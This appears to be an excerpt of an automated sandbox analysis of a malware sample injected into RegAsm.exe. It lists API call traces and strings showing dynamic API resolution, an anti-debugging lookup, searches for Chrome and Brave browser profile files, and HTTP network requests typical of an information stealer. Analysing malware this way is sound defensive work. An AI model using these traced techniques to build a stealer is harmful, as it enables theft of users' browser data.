lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 004046DD
strlen.MSVCRT ref: 004046F0
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 00404718
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 00404723
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 0040472E
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 00404739
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 00404744
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 00404754
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 0040475F
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 0040476A
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 00404775
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 00404780
VirtualProtect.KERNEL32(?,00000004,00000100,00000000), ref: 0040479C

Strings

The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 004045DD
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0040466D
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404734
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 004045D2
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404678
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404683
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 004046C2
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404638
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 004046CD
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 004045C7
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 004046B7
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404770
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 004045F3
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404657
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0040473F
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 004046D8
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0040475A
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0040462D
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404729
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404622
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404643
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 004045E8
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0040474F
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0040477B
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404617
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0040471E
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404765
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 004046AC
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404662
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404713

Memory Dump Source

Source File: 00000003.00000002.1819825998.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1819825998.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: lstrlen$Heap$AllocateProcessProtectVirtualstrlen
String ID: The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.
API String ID: 2127927946-2218711628
Opcode ID: 5f3731a6dcb1fef344345cc82b7a9564eb8b839e61695449df90f433700ea3ed
Instruction ID: 0c8f22accb9b4dc93ba0a792f824541bbe332df2facee9d015af8a4cfd39debc
Opcode Fuzzy Hash: 5f3731a6dcb1fef344345cc82b7a9564eb8b839e61695449df90f433700ea3ed
Instruction Fuzzy Hash: F141BA79740624EBC71C9FE5FC89B987F60AB4C712BA0C062F90299190C7FAD5519B3E

Function 00419860 Relevance: 59.7, APIs: 33, Strings: 1, Instructions: 212
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcAddress.KERNEL32(74DD0000,0145F180), ref: 004198A1
GetProcAddress.KERNEL32(74DD0000,0145F1F8), ref: 004198BA
GetProcAddress.KERNEL32(74DD0000,0145F210), ref: 004198D2
GetProcAddress.KERNEL32(74DD0000,0145F228), ref: 004198EA
GetProcAddress.KERNEL32(74DD0000,0145F318), ref: 00419903
GetProcAddress.KERNEL32(74DD0000,01462F00), ref: 0041991B
GetProcAddress.KERNEL32(74DD0000,014626C0), ref: 00419933
GetProcAddress.KERNEL32(74DD0000,01462620), ref: 0041994C
GetProcAddress.KERNEL32(74DD0000,0145F258), ref: 00419964
GetProcAddress.KERNEL32(74DD0000,0145F288), ref: 0041997C
GetProcAddress.KERNEL32(74DD0000,0145F300), ref: 00419995
GetProcAddress.KERNEL32(74DD0000,0145F498), ref: 004199AD
GetProcAddress.KERNEL32(74DD0000,014626A0), ref: 004199C5
GetProcAddress.KERNEL32(74DD0000,0145F4C8), ref: 004199DE
GetProcAddress.KERNEL32(74DD0000,0145F510), ref: 004199F6
GetProcAddress.KERNEL32(74DD0000,01462660), ref: 00419A0E
GetProcAddress.KERNEL32(74DD0000,0145F4E0), ref: 00419A27
GetProcAddress.KERNEL32(74DD0000,0145F540), ref: 00419A3F
GetProcAddress.KERNEL32(74DD0000,01462900), ref: 00419A57
GetProcAddress.KERNEL32(74DD0000,0145F4F8), ref: 00419A70
GetProcAddress.KERNEL32(74DD0000,01462860), ref: 00419A88
LoadLibraryA.KERNEL32(0145F528,?,00416A00), ref: 00419A9A
LoadLibraryA.KERNEL32(0145F480,?,00416A00), ref: 00419AAB
LoadLibraryA.KERNEL32(0145F4B0,?,00416A00), ref: 00419ABD
LoadLibraryA.KERNEL32(0145CAD0,?,00416A00), ref: 00419ACF
LoadLibraryA.KERNEL32(0146A588,?,00416A00), ref: 00419AE0
GetProcAddress.KERNEL32(75A70000,0146A5D0), ref: 00419B02
GetProcAddress.KERNEL32(75290000,0146A678), ref: 00419B23
GetProcAddress.KERNEL32(75290000,0146A618), ref: 00419B3B
GetProcAddress.KERNEL32(75BD0000,0146A5B8), ref: 00419B5D
GetProcAddress.KERNEL32(75450000,01462880), ref: 00419B7E
GetProcAddress.KERNEL32(76E90000,01462F30), ref: 00419B9F
GetProcAddress.KERNEL32(76E90000,NtQueryInformationProcess), ref: 00419BB6

Strings

NtQueryInformationProcess, xrefs: 00419BAA

Memory Dump Source

Source File: 00000003.00000002.1819825998.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1819825998.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: AddressProc$LibraryLoad
String ID: NtQueryInformationProcess
API String ID: 2238633743-2781105232
Opcode ID: 5241b63200b37b02610696a8d235fc94b134fee8225fd0051d7d8784b632fee7
Instruction ID: 20ebc6b46c949eaa7f25e90fb8197bb2e58582eade08509f86bd82c1d7e4afd5
Opcode Fuzzy Hash: 5241b63200b37b02610696a8d235fc94b134fee8225fd0051d7d8784b632fee7
Instruction Fuzzy Hash: 55A14DBD5C4240BFE354EFE8ED889963BFBF74E301704661AE605C3264D639A841DB12

Function 6C2F35A0 Relevance: 37.0, APIs: 16, Strings: 5, Instructions: 294
stringtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

InitializeCriticalSectionAndSpinCount.KERNEL32(6C37F688,00001000), ref: 6C2F35D5
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_TIMESTAMP_MODE), ref: 6C2F35E0
QueryPerformanceFrequency.KERNEL32(?), ref: 6C2F35FD
_strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,GenuntelineI,0000000C), ref: 6C2F363F
GetSystemTimeAdjustment.KERNEL32(?,?,?), ref: 6C2F369F
__aulldiv.LIBCMT ref: 6C2F36E4
QueryPerformanceCounter.KERNEL32(?), ref: 6C2F3773
EnterCriticalSection.KERNEL32(6C37F688), ref: 6C2F377E
LeaveCriticalSection.KERNEL32(6C37F688), ref: 6C2F37BD
QueryPerformanceCounter.KERNEL32(?), ref: 6C2F37C4
EnterCriticalSection.KERNEL32(6C37F688), ref: 6C2F37CB
LeaveCriticalSection.KERNEL32(6C37F688), ref: 6C2F3801
__aulldiv.LIBCMT ref: 6C2F3883
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,QPC), ref: 6C2F3902
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,GTC), ref: 6C2F3918
_strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,AuthcAMDenti,0000000C), ref: 6C2F394C

Strings

GTC, xrefs: 6C2F3912
AuthcAMDenti, xrefs: 6C2F3946
GenuntelineI, xrefs: 6C2F3639
MOZ_TIMESTAMP_MODE, xrefs: 6C2F35DB
QPC, xrefs: 6C2F38FC

Memory Dump Source

Source File: 00000003.00000002.1852963675.000000006C2F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C2F0000, based on PE: true

Associated: 00000003.00000002.1852948780.000000006C2F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1853131872.000000006C36D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1853165276.000000006C37E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1853180305.000000006C382000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c2f0000_RegAsm.jbxd

Similarity

API ID: CriticalSection$PerformanceQuery$CounterEnterLeave__aulldiv_strnicmpstrcmp$AdjustmentCountFrequencyInitializeSpinSystemTimegetenv
String ID: AuthcAMDenti$GTC$GenuntelineI$MOZ_TIMESTAMP_MODE$QPC
API String ID: 301339242-3790311718
Opcode ID: 403298e2aaffd21dd1bc9304f47d8f4b4a92ea541412d9916a0753ff3cd4aada
Instruction ID: a7612d6842f9f0740a2c634fef97a501122f6bd1f7347383a33b8eaa33d2d35e
Opcode Fuzzy Hash: 403298e2aaffd21dd1bc9304f47d8f4b4a92ea541412d9916a0753ff3cd4aada
Instruction Fuzzy Hash: 7FB1B271B083249FDB09DF28D84465AB7F9BB8D704F14892DE899D7750D73498018FAA

Function 0040BE70 Relevance: 33.9, APIs: 15, Strings: 4, Instructions: 675
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0041A740: lstrcpy.KERNEL32(B,00000000), ref: 0041A788

Part of subcall function 0041A920: lstrcpy.KERNEL32(00000000,?), ref: 0041A972
Part of subcall function 0041A920: lstrcatA.KERNEL32(00000000), ref: 0041A982

Part of subcall function 0041A9B0: lstrlenA.KERNEL32(?,00421110,?,00000000,00420AEF), ref: 0041A9C5
Part of subcall function 0041A9B0: lstrcpy.KERNEL32(00000000), ref: 0041AA04
Part of subcall function 0041A9B0: lstrcatA.KERNEL32(00000000,00000000), ref: 0041AA12

Part of subcall function 0041A8A0: lstrcpy.KERNEL32(?,B), ref: 0041A905

FindFirstFileA.KERNEL32(00000000,?,00420B32,00420B2B,00000000,?,?,?,004213F4,00420B2A), ref: 0040BEF5
StrCmpCA.SHLWAPI(?,004213F8), ref: 0040BF4D
StrCmpCA.SHLWAPI(?,004213FC), ref: 0040BF63
FindNextFileA.KERNELBASE(000000FF,?), ref: 0040C7BF
FindClose.KERNEL32(000000FF), ref: 0040C7D1

Strings

Google Chrome, xrefs: 0040C634
Preferences, xrefs: 0040C11E
Brave, xrefs: 0040C102
\Brave\Preferences, xrefs: 0040C1DB

Memory Dump Source

Source File: 00000003.00000002.1819825998.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1819825998.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
String ID: Brave$Google Chrome$Preferences$\Brave\Preferences
API String ID: 3334442632-726946144
Opcode ID: c682761d44f5aa90866755697bac6c5d92d7734f1ad5bb28ea9fd79f244d9b70
Instruction ID: 2d1308125da8926fdde3e90b6322e2b17ae592ee2aa58173b84b0ef8a3c681e1
Opcode Fuzzy Hash: c682761d44f5aa90866755697bac6c5d92d7734f1ad5bb28ea9fd79f244d9b70
Instruction Fuzzy Hash: 4E42B871910104ABCB14FB71DD96EED733DAF44304F40456EB50AA60C1EF389B99CBAA

Function 00414910 Relevance: 33.4, APIs: 16, Strings: 3, Instructions: 172
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

wsprintfA.USER32 ref: 0041492C
FindFirstFileA.KERNEL32(?,?), ref: 00414943
StrCmpCA.SHLWAPI(?,00420FDC), ref: 00414971
StrCmpCA.SHLWAPI(?,00420FE0), ref: 00414987
FindNextFileA.KERNEL32(000000FF,?), ref: 00414B7D
FindClose.KERNEL32(000000FF), ref: 00414B92

Strings

%s\*, xrefs: 00414920
%s\%s, xrefs: 004149FB
%s\%s, xrefs: 004149A4

Memory Dump Source

Source File: 00000003.00000002.1819825998.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1819825998.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID: %s\%s$%s\%s$%s\*
API String ID: 180737720-445461498
Opcode ID: 73d63f0ceacab054b0b74fb993ca077a66fc488422d0900d92cd2fa5397069ad
Instruction ID: f0ba0eb1991201f306808920aeaa9e90ed650eb79ad5a8a04d265ad4202cf965
Opcode Fuzzy Hash: 73d63f0ceacab054b0b74fb993ca077a66fc488422d0900d92cd2fa5397069ad
Instruction Fuzzy Hash: E66175B5950218ABCB20EBE0DC45FEA73BDBB49700F40458DB50996181EB74EB85CF95

Function 00404880 Relevance: 28.5, APIs: 11, Strings: 5, Instructions: 479networkstringfileCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0041A7E6

Part of subcall function 004047B0: ??2@YAPAXI@Z.MSVCRT(00000800), ref: 004047EA
Part of subcall function 004047B0: ??2@YAPAXI@Z.MSVCRT(00000800), ref: 00404801
Part of subcall function 004047B0: ??2@YAPAXI@Z.MSVCRT(00000800), ref: 00404818
Part of subcall function 004047B0: lstrlenA.KERNEL32(00000000,00000000,0000003C), ref: 00404839
Part of subcall function 004047B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 00404849

Part of subcall function 0041A740: lstrcpy.KERNEL32(B,00000000), ref: 0041A788

InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 00404915
StrCmpCA.SHLWAPI(?,01472898), ref: 0040493A
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00404ABA
lstrlenA.KERNEL32(00000000,00000000,?,?,?,?,00420DDB,00000000,?,?,00000000,?,",00000000,?,014728C8), ref: 00404DE8
lstrlenA.KERNEL32(00000000,00000000,00000000), ref: 00404E04
HttpSendRequestA.WININET(00000000,00000000,00000000), ref: 00404E18
InternetReadFile.WININET(00000000,?,000007CF,?), ref: 00404E49
InternetCloseHandle.WININET(00000000), ref: 00404EAD
InternetCloseHandle.WININET(00000000), ref: 00404EC5
HttpOpenRequestA.WININET(00000000,01472838,?,014720D8,00000000,00000000,00400100,00000000), ref: 00404B15

Part of subcall function 0041A9B0: lstrlenA.KERNEL32(?,00421110,?,00000000,00420AEF), ref: 0041A9C5
Part of subcall function 0041A9B0: lstrcpy.KERNEL32(00000000), ref: 0041AA04
Part of subcall function 0041A9B0: lstrcatA.KERNEL32(00000000,00000000), ref: 0041AA12

Part of subcall function 0041A8A0: lstrcpy.KERNEL32(?,B), ref: 0041A905

Part of subcall function 0041A920: lstrcpy.KERNEL32(00000000,?), ref: 0041A972
